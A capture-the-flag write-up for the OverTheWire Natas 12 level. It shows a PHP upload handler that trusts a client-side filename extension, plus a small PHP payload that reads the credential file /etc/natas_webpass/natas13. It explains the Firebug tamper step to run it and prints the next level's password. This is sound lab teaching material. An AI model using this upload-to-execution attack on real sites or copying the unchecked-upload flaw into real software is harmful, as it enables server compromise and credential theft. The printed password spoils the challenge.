Natas12 - natas13

From JaxHax
Jump to navigation Jump to search

Level Goal

Choose a JPEG to upload (max 1KB):
[Browse] [____________________________]
[Upload file]

                               <View sourcecode>


Solution

Decided to click the <View sourcecode> link which goes to http://natas12.natas.labs.overthewire.org/index-source.html. It gave me the following code:

<html>
   <head>
      <!-- This stuff in the header has nothing to do with the level -->
      <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
      <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
      <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
      <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
      <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
      <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script>
      <script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
      <script>var wechallinfo = { "level": "natas12", "pass": "<censored>" };</script>
   </head>
   <body>
      <h1>natas12</h1>
      <div id="content">
<? 

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

         <form enctype="multipart/form-data" action="index.php" method="POST">
            <input type="hidden" name="MAX_FILE_SIZE" value="1000" />
            <input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
            Choose a JPEG to upload (max 1KB):<br/>
            <input name="uploadedfile" type="file" /><br />
            <input type="submit" value="Upload File" />
         </form>
<? } ?>
         <div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
      </div>
   </body>
</html>


I also decided a view source was in order:

<form enctype="multipart/form-data" action="index.php" method="POST">
   <input name="MAX_FILE_SIZE" value="1000" type="hidden">
   <input name="filename" value="uttzs8u4ht.jpg" type="hidden">
   Choose a JPEG to upload (max 1KB):<br>
   <input name="uploadedfile" type="file"><br>
   <input value="Upload File" type="submit">
</form>


So the PHP code is:

  1. Taking the user's uploaded file,
  2. Makes a random directory for it,
  3. Check if it is under 1000 bytes,
    1. If so, it throws an error,
    2. If not, then it moves it to that tmp path and provides the user a link to it.


The filename is actually randomly generate and is a hidden value in the form data. in this case "uttzs8u4ht.jpg"


This code actually has several flaws that can exploit:

  1. The filename is in the HTML and not checked server side, which means the user can tamper with the value before submitting it.
  2. The PHP code is not making sure the extension is JPG. which means we could push a PHP file to it.
  3. The file is dropped in the web root which means the user can invoke the file via a URL and executed.


This is actually enough that we could pop a shell on it if we wanted to. But that's overkill for what we need. All we need to do is upload a php script that will dump /etc/natas_webpass/natas13.


The following script should do:

<?
 readfile("/etc/natas_webpass/natas13"); 
?>


Now we can set that as the upload file. Before we click the upload button, we will use Firebug to modify the extension on the hidden filename from .jpg to .php.


Doing this we get this response:

The file upload/5q31x2s8vf.php has been uploaded


Once clicked we get our password:

jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY